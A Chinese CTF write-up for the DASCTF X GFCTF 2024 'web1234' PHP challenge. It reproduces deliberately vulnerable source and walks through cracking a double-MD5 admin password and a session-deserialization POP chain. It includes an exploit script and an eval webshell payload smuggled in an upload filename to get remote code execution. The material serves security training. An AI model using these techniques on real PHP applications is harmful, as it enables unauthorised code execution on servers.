BUU37 [DASCTF X GFCTF 2024|四月开启第一局]web1234【代码审计/序列化/RCE】

Hint1:本题的 flag 不在环境变量中

Hint2:session_start(),注意链子挖掘

题目:

扫描出来www.zip

class.php

php 复制代码
<?php

class Admin{

    public $Config;

    public function __construct($Config){
        //安全获取基本信息,返回修改配置的表单
        $Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
        $Config->sex = (is_string($Config->sex) ? $Config->sex : "");
        $Config->mail = (is_string($Config->mail) ? $Config->mail : "");
        $Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
        $this->Config = $Config;

        echo '    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="avatar" >
        <input type="text" name="nickname" placeholder="nickname"/>
        <input type="text" name="sex" placeholder="sex"/>
        <input type="text" name="mail" placeholder="mail"/>
        <input type="text" name="telnum" placeholder="telnum"/>
        <input type="submit" name="m" value="edit"/>
    </form>';
    }

    public function editconf($avatar, $nickname, $sex, $mail, $telnum){
        //编辑表单内容
        $Config = $this->Config;

        $Config->avatar = $this->upload($avatar);
        $Config->nickname = $nickname;
        $Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
        $Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
        $Config->telnum = substr($telnum, 0, 11);
        $this->Config = $Config;

        file_put_contents("/tmp/Config", serialize($Config));

        if(filesize("record.php") > 0){
            [new Log($Config),"log"]();
        }
    }

    public function resetconf(){
        //返回出厂设置
        file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
    }

    public function upload($avatar){
        $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
        file_put_contents($path,$avatar['fdata']);
        return $path;
    }

    public function __wakeup(){
        $this->Config = ":(";
    }

    public function __destruct(){
        echo $this->Config->showconf();
    }
}



class Config{

    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;

    public function __sleep(){
        echo "<script>alert('edit conf success\\n";
        echo preg_replace('/<br>/','\n',$this->showconf());
        echo "')</script>";
        return array("uname","passwd","avatar","nickname","sex","mail","telnum");
    }

    public function showconf(){
        $show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
        $show .= "nickname: $this->nickname<br>";
        $show .= "sex: $this->sex<br>";
        $show .= "mail: $this->mail<br>";
        $show .= "telnum: $this->telnum<br>";
        return $show;
    }

    public function __wakeup(){
        if(is_string($_GET['backdoor'])){
            $func = $_GET['backdoor'];
            $func();//:)
        }
    }

}



class Log{

    public $data;

    public function __construct($Config){
        $this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
    }

    public function __toString(){
        if($this->data === "log_start()"){
            file_put_contents("record.php","<?php\nerror_reporting(0);\n");
        }
        return ":O";
    }

    public function log(){
        file_put_contents('record.php', $this->data, FILE_APPEND);
# FILE_APPEND表示将新加的部分追加到末尾
    }
}

index.php

php 复制代码
<?php
error_reporting(0);
include "class.php";

$Config = unserialize(file_get_contents("/tmp/Config"));

foreach($_POST as $key=>$value){
    if(!is_array($value)){
        $param[$key] = addslashes($value);
    }
}

if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
    $Admin = new Admin($Config);
    if($_POST['m'] === 'edit'){
        
        $avatar['fname'] = $_FILES['avatar']['name'];
        $avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
        $nickname = $param['nickname'];
        $sex = $param['sex'];
        $mail = $param['mail'];
        $telnum = $param['telnum'];

        $Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
    }elseif($_POST['m'] === 'reset') {
        $Admin->resetconf();
    }
}else{
    die("pls login! :)");
}

在class.php中发现一长串base64编码的东西,解码得到:

O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"�

也就是说默认的出厂设置 uname为admin,passwd为 50b9748289910436bfdd34bda7b1c9d9,结合index.php中

php 复制代码
if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd)

将password两次MD5解码得到1q2w3e

提交uname=admin&passwd=1q2w3e登录成功

看提示这应该是一道反序列化的题,但是源代码中并没有unserialize()

但是传输session的时候会发生序列化和反序列化

关于session的流程:

会话可以由php.ini中的配置session.auto_start = 1自动开始,也可以通过函数 session_start()手动开始,其中PHPSESSID用于标志每个用户的会话,它通常通过浏览器的 Cookie 传递给服务器,也可以通过 URL 重写等方式传递。当客户端向服务器发送请求时,会在请求头中包含这个 PHPSESSID,告诉服务器该请求属于哪个会话。PHP 接收到带有 PHPSESSID 的请求后,会根据这个标识符去查找对应的会话数据文件。这些会话数据文件通常存储在服务器的指定目录中,会话数据在存储时通常是经过序列化处理的,PHP 会自动对读取到的会话数据进行反序列化操作,反序列化后的会话数据会被填充到$_SESSION超级全局变量中。

利用Config中的backdoor可以执行任意函数,提交backdoor=phpinfo查看php配置信息

这里需要手动开始会话

session.serialize_handler用于指定会话数据的序列化和反序列化处理方式,选项是php意思就是用PHP 内置的序列化格式

session文件会被默认存储在 /tmp/var/lib/php/sessions中

__sleep 方法会在对象被序列化(如使用 serialize 函数)时自动调用

php 复制代码
 public function __sleep(){
        echo "<script>alert('edit conf success\\n";
        echo preg_replace('/<br>/','\n',$this->showconf())
        echo "')</script>";
        return array("uname","passwd","avatar","nickname","sex","mail","telnum");
    }

然后调用showconf()

这里 file_get_contents用于将文件的内容读入到一个字符串中 , 它期望传入的参数是一个有效的文件路径(字符串类型)。当你传入的是一个对象时,PHP 需要将这个对象转换为字符串,以便能够把它当作文件路径来处理。

php 复制代码
 public function showconf(){
        $show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
        $show .= "nickname: $this->nickname<br>";
        $show .= "sex: $this->sex<br>";
        $show .= "mail: $this->mail<br>";
        $show .= "telnum: $this->telnum<br>";
        return $show;
    }

此时会触发Log的toString()

php 复制代码
 public function __toString(){
        if($this->data === "log_start()"){
            file_put_contents("record.php","<?php\nerror_reporting(0);\n");
        }
        return ":O";
    }

此时就将内容写进record.php中

链子明晰了,exp:

php 复制代码
<?php
 class Log
 {
     public $data="log_start()";
 }
class Config
{
    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;
}
$a=new Log();
$b=new Config();
$b->avatar=$a;
echo serialize($b)
?>

序列化结果:

O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}
启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化后得到Session对象,比如下面的aaa\|O:6:"Config":...就是对应的_SESSION['aaa'],然后在程序执行完要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep

(即写回去的时候就是序列化前面反序列化的对象)

这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION['user']=xxx,这样显然是不合理的

事实上$_SESSION['user']=xxx往往只用于改变用户属性

大体思路是:返回session文件时序列化--> __sleep()-->showcof() 此时将avatar写入$show中触发-->toString()-->将<?php\nerror_reporting(0);\n写入record.php

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)_dasctf x gfctf 2024|四月开启第一局-CSDN博客

会话开启成功

如果没有手动开启会话,它自己不会自动开启

将filename改为"sess_xxxxx",PHPSESSID=xxxxx

session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去

文件内容用以下格式来写,这样就能被反序列化读取

backdoor-session_start开着,PHPSESSID自己写一个,filename="sess_那个名字",在文件内容中以php的session文件格式写

在文件名中写入木马,此时删除cookie防止再次写入<?php error_reporting(0);

利用RCE执行命令(或者用蚁剑连接)

之前一直不明白为什么要在文件名处写马,看了好几遍源代码才恍然大悟

在这里获取原始文件名

php 复制代码
if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
    $Admin = new Admin($Config);
    if($_POST['m'] === 'edit'){
        #获取上传头像的原始名字        
        $avatar['fname'] = $_FILES['avatar']['name'];
        #获取上传文件在服务器临时存储的文件名
        $avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
        $nickname = $param['nickname'];
        $sex = $param['sex'];
        $mail = $param['mail'];
        $telnum = $param['telnum'];

        $Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
    }elseif($_POST['m'] === 'reset') {
        $Admin->resetconf();
    }

调用editconf函数

php 复制代码
 public function editconf($avatar, $nickname, $sex, $mail, $telnum){
        //编辑表单内容
        $Config = $this->Config;

        $Config->avatar = $this->upload($avatar);
        $Config->nickname = $nickname;
        $Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
        $Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
        $Config->telnum = substr($telnum, 0, 11);
        $this->Config = $Config;

        file_put_contents("/tmp/Config", serialize($Config));

       #使用 filesize 函数检查 record.php 文件的大小是否大于 0。
        if(filesize("record.php") > 0){
 #如果 record.php 文件大小大于 0,创建一个 Log 类的实例,并调用该实例的 log 方法记录日志。
            [new Log($Config),"log"]();
        }
    }

然后又调用upload方法,而这里要被返回的路径第一个就是fname,即原始文件名

php 复制代码
 public function upload($avatar){
        $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
        file_put_contents($path,$avatar['fdata']);
        return $path;
    }

这些都调用完以后,也就是Config-\>avatar=path,其中$path中含有我们上传的文件名

文件名就是木马 1';eval(_POST\[1\]);#,这里也关了php报错,所以/temp/1';eval(_POST[1]);#也不会因为没有这个文件而终止执行

此时检查到record.php文件含有已经写进去的<?php error_reporting(0);不为空,editconf中最后一行又新建了Log类并调用log方法,所以调用__construct方法和log方法

php 复制代码
 public $data;

    public function __construct($Config){
        $this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
#PHP_EOL是通用换行符
    }
php 复制代码
 public function log(){
        file_put_contents('record.php', $this->data, FILE_APPEND);
# FILE_APPEND表示将新加的部分追加到末尾
    }

将这一堆东西写入record.php中,但是没用了,因为我们已经#注释掉了,高

然后还有一个问题就是,为什么删了Cookie就能防止<?php error_reporting(0);再次写入

删了Cookie就代表着上一个会话已经结束,这是开启了一个全新的会话,因为没有上传session文件啥的,所以也不会引起序列化漏洞,不会再写一遍<?php error_reporting(0);只会执行将文件名写入路径中再把路径写入record.php中的操作

如果这时候不删Cookie,默认还是这个会话,它就会把文件再上传到那个sess目录里头,然后引起序列化漏洞,再把前面<?php error_reporting(0);再写一遍

(个人理解)

相关推荐
空空kkk几秒前
SSM项目练习——hami音乐(三)
java·数据库
啟明起鸣几秒前
【Nginx 网关开发】上手 Nginx,简简单单启动一个静态 html 页面
运维·c语言·前端·nginx·html
vortex54 分钟前
深度字典攻击(实操笔记·红笔思考)
前端·chrome·笔记
我是伪码农5 分钟前
Vue 1.30
前端·javascript·vue.js
爬山算法9 分钟前
Hibernate(78)如何在GraphQL服务中使用Hibernate?
java·hibernate·graphql
lisanmengmeng9 分钟前
添加ceph节点
linux·服务器·ceph
Tinyundg13 分钟前
Linux系统分区
linux·运维·服务器
利刃大大14 分钟前
【Vue】默认插槽 && 具名插槽 && 作用域插槽
前端·javascript·vue.js
独断万古他化14 分钟前
【Spring 核心:AOP】基础到深入:思想、实现方式、切点表达式与自定义注解全梳理
java·spring·spring aop·aop·切面编程
要做一个小太阳16 分钟前
华为Atlas 900 A3 SuperPoD 超节点网络架构
运维·服务器·网络·华为·架构